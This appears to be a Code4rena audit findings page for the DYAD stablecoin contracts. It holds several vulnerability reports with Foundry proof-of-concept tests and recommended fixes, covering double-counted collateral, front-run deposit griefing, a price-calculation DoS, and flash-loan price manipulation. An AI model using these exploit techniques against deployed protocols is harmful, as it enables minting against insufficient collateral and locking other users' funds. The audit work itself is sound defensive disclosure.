DYAD - ke1caM's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L93-L94

Vulnerability details

Vulnerability details

In Deploy.V2.s.sol vaults are added to licenser and kerosene manager. Licenser allows vaults to be added to vaults (external collateral). Same vaults are added into kerosene manager in order to calculate the price of Kerosene token. The issue is that normal vaults can be added to vaultsKerosene allowing user to mint more DYAD than he should be allowed to.

Proof of Concept

Please copy this test file into test/fork folder and run forge test --match-contract "TestPOC" -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";

import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";

contract MockDenominator {
    function denominator() external view returns (uint256) {
        return 100_000_000 * 1e18;
    }
}

contract TestPOC is Test, Parameters {
    address owner;
    address user1;
    address user2;

    Dyad dyad;
    Licenser vaultLicenser;
    DNft dnft;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    ERC20Mock mockErc20;
    Kerosine mockKerosene;
    OracleMock oracleMock;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    MockDenominator mockDenominator;

    function setUp() public {
        owner = makeAddr("owner");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");

        mockDenominator = new MockDenominator();

        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultLicenser);

        dnft = new DNft();

        vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser);

        mockErc20 = new ERC20Mock("MOCK", "MCK");

        mockKerosene = new Kerosine();

        oracleMock = new OracleMock(1000 * 1e8);

        ethVault = new Vault(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        wstEth = new VaultWstEth(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(owner);

        unboundedKerosineVault = new UnboundedKerosineVault(
            vaultManager,
            mockKerosene,
            dyad,
            kerosineManager
        );

        boundedKerosineVault = new BoundedKerosineVault(
            vaultManager,
            mockKerosene,
            kerosineManager
        );

        kerosineDenominator = new KerosineDenominator(mockKerosene);

        unboundedKerosineVault.setDenominator(
            KerosineDenominator(address(mockDenominator))
        );

        unboundedKerosineVault.transferOwnership(owner);
        boundedKerosineVault.transferOwnership(owner);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(owner);

        vm.deal(owner, 100 ether);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);

        mockKerosene.transfer(user1, 500 ether);
        mockKerosene.transfer(user2, 500 ether);

        mockErc20.mint(user1, 100 ether);
        mockErc20.mint(user2, 100 ether);

        vm.prank(owner);
        vaultLicenser.add(address(vaultManager));
    }

    function testVaultAddedTwice() public {
        address[] memory vaults = kerosineManager.getVaults();
        assertEq(vaults.length, 2);
        assertEq(vaults[0], address(ethVault));
        assertEq(vaults[1], address(wstEth));
        assertTrue(vaultLicenser.isLicensed(address(ethVault)));
        assertTrue(vaultLicenser.isLicensed(address(wstEth)));
        assertTrue(vaultLicenser.isLicensed(address(unboundedKerosineVault)));

        vm.prank(user1);
        dnft.mintNft{value: 1 ether}(user1);

        assertEq(vaultManager.getTotalUsdValue(0), 0);

        vm.startPrank(user1);
        vaultManager.add(0, address(ethVault));
        mockErc20.approve(address(vaultManager), 15 ether);
        vaultManager.deposit(0, address(ethVault), 15 ether);

        vaultManager.mintDyad(0, 10000 * 1e18, user1);

        vaultManager.addKerosene(0, address(ethVault));

        vaultManager.mintDyad(0, 5000 * 1e18, user1);

        assertEq(vaultManager.getTotalUsdValue(0), 30000 ether);

        vm.stopPrank();
    }
}

As we can see, total value of user's assets is equal to $30000 (in my test 1 ether was set to $1000) even though user only deposited $15000 worth of ether into protocol.

Impact

User can mint more DYAD with less collateral.

Recommendations

If vault is licensed in Licenser, do not allow it to be added to vaultsKerosene.

Example pseudo-code:

function addKerosene(uint id, address vault) external isDNftOwner(id) {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE)
        revert TooManyVaults();
++  if (vaultLicenser.isLicensed(vault)) revert();
    if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
    emit Added(id, vault);
    }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131

Vulnerability details

Summary

Current access control in deposit function allows an attacker to block users funds.

Vulnerability details

When user deposits funds into vault, idToBlockOfLastDeposit value is set to the current block number. With this value set to block.number, user cannot withdraw funds assigned to his dNft (deposit and withdrawal in same block is impossible). deposit function allows anyone to deposit funds to any dNft. An attacker can use it to block all of user's withdrawals locking user's funds for as long as he wishes to.

Proof of Concept

To block user's funds an attacker has to simply front-run user's withdrawal transaction and make a deposit to user's dNft id. Deposit can be as small as 1 wei.

Please copy this test file into test/fork folder and run forge test --match-contract "TestPOC" -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";

import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";

contract MockDenominator {
    function denominator() external view returns (uint256) {
        return 100_000_000 * 1e18;
    }
}

contract TestPOC is Test, Parameters {
    address owner;
    address user1;
    address user2;

    Dyad dyad;
    Licenser vaultLicenser;
    DNft dnft;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    ERC20Mock mockErc20;
    Kerosine mockKerosene;
    OracleMock oracleMock;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    MockDenominator mockDenominator;

    function setUp() public {
        owner = makeAddr("owner");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");

        mockDenominator = new MockDenominator();

        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultLicenser);

        dnft = new DNft();

        vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser);

        mockErc20 = new ERC20Mock("MOCK", "MCK");

        mockKerosene = new Kerosine();

        oracleMock = new OracleMock(1000 * 1e8);

        ethVault = new Vault(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        wstEth = new VaultWstEth(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(owner);

        unboundedKerosineVault = new UnboundedKerosineVault(
            vaultManager,
            mockKerosene,
            dyad,
            kerosineManager
        );

        boundedKerosineVault = new BoundedKerosineVault(
            vaultManager,
            mockKerosene,
            kerosineManager
        );

        kerosineDenominator = new KerosineDenominator(mockKerosene);

        unboundedKerosineVault.setDenominator(
            KerosineDenominator(address(mockDenominator))
        );

        unboundedKerosineVault.transferOwnership(owner);
        boundedKerosineVault.transferOwnership(owner);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(owner);

        vm.deal(owner, 100 ether);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);

        mockKerosene.transfer(user1, 500 ether);
        mockKerosene.transfer(user2, 500 ether);

        mockErc20.mint(user1, 100 ether);
        mockErc20.mint(user2, 100 ether);

        vm.prank(owner);
        vaultLicenser.add(address(vaultManager));
    }

    function testBlockingUserWithdrawal() public {
        vm.prank(user1);
        dnft.mintNft{value: 1 ether}(user1);

        vm.startPrank(user1);
        vaultManager.add(0, address(ethVault));
        mockErc20.approve(address(vaultManager), 15 ether);
        vaultManager.deposit(0, address(ethVault), 15 ether);
        vm.stopPrank();

        vm.roll(block.number + 1);
        vm.prank(user1);
        vaultManager.withdraw(0, address(ethVault), 8 ether, user1);

        vm.roll(block.number + 1);
        vm.startPrank(user2);
        mockErc20.approve(address(vaultManager), 1);
        vaultManager.deposit(0, address(ethVault), 1);
        vm.stopPrank();

        vm.prank(user1);
        vm.expectRevert();
        vaultManager.withdraw(0, address(ethVault), 7 ether, user1);
    }
}

Attacker was able to front-run user and force his transaction to be reverted.

Impact

User funds will be blocked for an indefinite period of time.

Recommendations

I recommend changing isValidDNft modifier to isDNftOwner modifier.

Example pseudo-code:

function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external
--    isValidDNft(id) 
++    isDNftOwner(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L63

Vulnerability details

Vulnerability details

UnboundedKeroseneVault to work properly needs to be added to KerosineManager. Then, user can add it to vaultsKerosene and deposit his Kerosene tokens to mint Dyad tokens againts them. However when Kerosene vault is added in vaultsKerosene, it causes a DoS during price calculation.

If any function makes a call to UnboundedKeroseneVault -> assetPrice function, the transaction will be reverted. This is because assetPrice function will try to call vault.oracle().decimals(). Since oracle variable is not implemented in UnboundedKeroseneVault or any parent contract, every call to assetPrice will result in DoS.

function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

When UnboundedKeroseneVault will be added to vaultsKerosene, every call to kerosineManager.getVaults() will return Kerosene vault at some index. If it returns Kerosene vault it means that later in this function it will try to call itself. oracle variable is not implemented, meaning every call will be reverted.

Proof of Concept

Please copy this test file into test/fork folder and run forge test --match-contract "TestPOC" -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";

import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";

contract MockDenominator {
    function denominator() external view returns (uint256) {
        return 1_000_000 * 1e18;
    }
}

contract TestPOC is Test, Parameters {
    address owner;
    address user1;
    address user2;

    Dyad dyad;
    Licenser vaultLicenser;
    DNft dnft;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    ERC20Mock mockErc20;
    Kerosine mockKerosene;
    OracleMock oracleMock;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    MockDenominator mockDenominator;

    function setUp() public {
        owner = makeAddr("owner");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");

        mockDenominator = new MockDenominator();

        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultLicenser);

        dnft = new DNft();

        vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser);

        mockErc20 = new ERC20Mock("MOCK", "MCK");

        mockKerosene = new Kerosine();

        oracleMock = new OracleMock(1000 * 1e8);

        ethVault = new Vault(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        wstEth = new VaultWstEth(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(owner);

        unboundedKerosineVault = new UnboundedKerosineVault(
            vaultManager,
            mockKerosene,
            dyad,
            kerosineManager
        );

        boundedKerosineVault = new BoundedKerosineVault(
            vaultManager,
            mockKerosene,
            kerosineManager
        );

        kerosineDenominator = new KerosineDenominator(mockKerosene);

        unboundedKerosineVault.setDenominator(
            KerosineDenominator(address(mockDenominator))
        );

        unboundedKerosineVault.transferOwnership(owner);
        boundedKerosineVault.transferOwnership(owner);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(owner);

        vm.deal(owner, 100 ether);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);

        mockKerosene.transfer(user1, 50_000_000 ether);
        // mockKerosene.transfer(user2, 10 ether);

        mockErc20.mint(user1, 100 ether);
        mockErc20.mint(user2, 100 ether);

        vm.prank(owner);
        vaultLicenser.add(address(vaultManager));
    }

    function testGetUsdValue() public {
        vm.startPrank(owner);
        kerosineManager.add(address(unboundedKerosineVault));
        kerosineManager.remove(address(wstEth));
        vm.stopPrank();
        unboundedKerosineVault.getUsdValue(0);
    }
}

Impact

Kerosene vaults will cause DoS. User will not be able to mint Dyad againts Kerosene tokens. Adding them to vaultsKerosene will break protocol functionality. BoundedKerosineVault will also be affected as it uses UnboundedKerosineVault.

Recommendations

I recommend creating one more mapping in KerosineManger. One mapping will be reponsible for holding vaults with external collateral such as WETH and wsteth. Other mapping will be designed to hold Kerosene vaults which will loop through vaults with external collateral in order to determine Kerosene token price. To calculate the price, loop through Kerosene vaults and ensure that Kerosene vault will not call itself.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L150

Vulnerability details

Vulnerability details

User can withdraw tokens from vault, when at the end of the transaction his cr is above 150%. When user tries to withdraw Kerosene tokens, withdraw function treats them as external collateral. It prevents user from withdrawing Kerosene tokens because it checks their value against NonKeroseneValue, which Kerosene token isn't part of.

Proof of Concept

To test this issue we need to change UnboundedKerosineVault as it contains other bug that did not allow to test this scenario.

function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();

--    uint numberOfVaults = vaults.length;
++    uint numberOfVaults = 1;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
--              / (10**vault.oracle().decimals());
++              / (10**8);
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

We needto change these values in order to:

1. avoid recursive call in VaultManagerV2:getKeroseneValue as unboundedKerosineVault will try to call itself after adding it into kerosineManager
2. avoid calling vault.oracle().decimals() as KerosineVault doesn't have such variable and it would revert the transaction

These changes do not change the way the protocol works, it only allows to simplyfy testing this scenario.

1. In order for this test to work apply changes made to assetPrice in UnboundedKerosineVault contract in Vault.kerosine.unbounded.

2. Please copy this test file into test/fork folder and run forge test --match-contract "TestPOC" -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";

import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";

contract MockDenominator {
    function denominator() external view returns (uint256) {
        return 1_000_000 * 1e18;
    }
}

contract TestPOC is Test, Parameters {
    address owner;
    address user1;
    address user2;

    Dyad dyad;
    Licenser vaultLicenser;
    DNft dnft;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    ERC20Mock mockErc20;
    Kerosine mockKerosene;
    OracleMock oracleMock;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    MockDenominator mockDenominator;

    function setUp() public {
        owner = makeAddr("owner");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");

        mockDenominator = new MockDenominator();

        vaultLicenser = new Licenser();

        dyad = new Dyad(vaultLicenser);

        dnft = new DNft();

        vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser);

        mockErc20 = new ERC20Mock("MOCK", "MCK");

        mockKerosene = new Kerosine();

        oracleMock = new OracleMock(1000 * 1e8);

        ethVault = new Vault(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        wstEth = new VaultWstEth(
            vaultManager,
            mockErc20,
            IAggregatorV3(address(oracleMock))
        );

        kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(owner);

        unboundedKerosineVault = new UnboundedKerosineVault(
            vaultManager,
            mockKerosene,
            dyad,
            kerosineManager
        );

        boundedKerosineVault = new BoundedKerosineVault(
            vaultManager,
            mockKerosene,
            kerosineManager
        );

        kerosineDenominator = new KerosineDenominator(mockKerosene);

        unboundedKerosineVault.setDenominator(
            KerosineDenominator(address(mockDenominator))
        );

        unboundedKerosineVault.transferOwnership(owner);
        boundedKerosineVault.transferOwnership(owner);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(owner);

        vm.deal(owner, 100 ether);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);

        mockKerosene.transfer(user1, 50_000_000 ether);
        // mockKerosene.transfer(user2, 10 ether);

        mockErc20.mint(user1, 100 ether);
        mockErc20.mint(user2, 100 ether);

        vm.prank(owner);
        vaultLicenser.add(address(vaultManager));
    }

    function testUserCannotWithdrawKeroseneTokens() public {
        vm.startPrank(owner);
        kerosineManager.add(address(unboundedKerosineVault));
        kerosineManager.remove(address(wstEth));
        vm.stopPrank();

        vm.prank(user1);
        dnft.mintNft{value: 1 ether}(user1);

        vm.startPrank(user1);
        vaultManager.add(0, address(ethVault));
        mockErc20.approve(address(vaultManager), 15 ether);
        vaultManager.deposit(0, address(ethVault), 15 ether);

        vaultManager.mintDyad(0, 10000 * 1e18, user1);

        vaultManager.addKerosene(0, address(unboundedKerosineVault));
        mockKerosene.approve(address(vaultManager), 5_000_000 ether);
        vaultManager.deposit(
            0,
            address(unboundedKerosineVault),
            5_000_000 ether
        );

        // We wait 1 block
        vm.roll(block.number + 1);

        vm.expectRevert();
        vaultManager.withdraw(
            0,
            address(unboundedKerosineVault),
            5_000_000 ether,
            user1
        );

        vm.stopPrank();
    }
}

We can see that user's position is fully collateralised by external collateral (150% of Dyad value is covered by WETH). When user tries to withdraw additional collateral in form of Kerosene withdraw function reverts. It treats Kerosene tokens same as WETH and assumes that user tries to withdraw external collateral.

Impact

User can't withdraw Kerosene tokens from vaults.

Recommendations

Check non kerosene value after user withdraws the funds and then revert (same as cr check).

Example pseudo-code:

function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
--  if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
++  if (getNonKeroseneValue(id) < dyadMinted) revert NotEnoughExoCollat();
  }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L165 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L150 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L214

Vulnerability details

Vulnerability details

To maintain healthy position user should keep his cr at 150%. Another requirement is that user's external collateral (weth, wsteth) should at least cover minted value of DYAD ($100 of DYAD, user should hold $100 of external collateral, rest in Kerosene token).

We can see this requirement in mintDyad function:

function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat();

or in withdraw function that does not allow user to withdraw more than value (external collateral) required to cover DYAD minted amount:

function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() 
                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  }

if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();

In current implementation of liquidate function, user's external collateral value can drop below required level and he will not be liquidated as long as he has correct level of cr.

Proof of Concept

We can see that only requirement for liquidating a user is cr < MIN_COLLATERIZATION_RATIO.

function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

EXAMPLE:

1. User deposited $100 worth of weth into vaults and $100 worth of kerosene into kerosene vaults.
2. User minted $100 worth of DYAD (max possible in mintDyad, cr is 200%).
3. Value of weth collateral drops to $50 ($100 worth of DYAD is covered by $50 worth of weth and $100 worth of Kerosene, cr is 150%).
4. User dropped below NonKeroseneValue needed to collaterlise the debt however cannot be liquidated because his cr is still at 150% even though external collateral value dropped by 50%.

Impact

DYAD becomes undercollateralised in terms of external collateral (weth, wsteth). It can lead to DYAD depeg.

Recommendations

I recommend to create a mechansim that handles this scenario. Calculate the difference between mintedDyad and NonKeroseneValue. Allow users to liquidate part of the DYAD needed to return NonKeroseneValue back to desired level.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

Vulnerability details

Main invirant of the protocol is that total value locked is always greater than total amount of DYAD minted TVL > DYAD total supply (from contest page, section Additional context -> Main invirants). This invirant can be broken in many ways breaking functionality of VaultManagerV2.

Proof of Concept

1. Protocol creates new vaults which hold zero value. DYAD is already deployed and currently has total supply greater than 0. This will break V2 functionality from day one. Let's dive deeper into this scenario:

assetPrice function from UnboundedKerosineVault:

function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

As we can see the TVL calculation is based on vaults added to kerosine manager. Vaults added to kerosine manager do not have any funds since they are newly deployed with V2 versio:

uint numerator = tvl - dyad.totalSupply();

    // weth vault    
    Vault ethVault = new Vault(
        vaultManager,
        ERC20(MAINNET_WETH),
        IAggregatorV3(MAINNET_WETH_ORACLE)
    );

    // wsteth vault
    VaultWstEth wstEth = new VaultWstEth(
        vaultManager,
        ERC20(MAINNET_WSTETH),
        IAggregatorV3(MAINNET_CHAINLINK_STETH)
    );

    KerosineManager kerosineManager = new KerosineManager();

    kerosineManager.add(address(ethVault));
    kerosineManager.add(address(wstEth));

Every function that relies on assetPrice in UnboundedKerosineVault will not work as uint numerator = tvl - dyad.totalSupply(); will revert due to underflow.

TVL at deployment = 0 Current Dyad totalSupply = 632967400000000000000000 (22.04.2024)

Of course when user deposits collateral into protocol the TVL will grow, however users will not be able to mint DYAD until TVL surpassed DYAD total supply.

2. Another way to mainpulate the totalsupply is through V1 using flash loans or large amount of tokens as TVL calculation does not take previously deployed vaults into consideration during Kerosene price calculation. However it considers previously and currently minted Dyad during price calculation. Current design is exploitable as price of Kerosene token can be maniuplated through V1 (flash-loans) and V2 (flash-loans + high capital value). With help of flash loan attacker can increase total supply of Dyad tokens to lower the price of Kerosene tokens. He could use this to potentialy liquidate some positions in VaultManagerV2 for profit.

Impact

Main invirant is broken since day one, breaking functionality of VaultManagerV2. Current design allows attackers to manipulate price of Kerosene token to potnetialy harm fair users.

Recommendations

Add previously deployed vaults into keroseneManager to consider them during Kerosene price calculation.

Assessed type

DoS

Lines of code

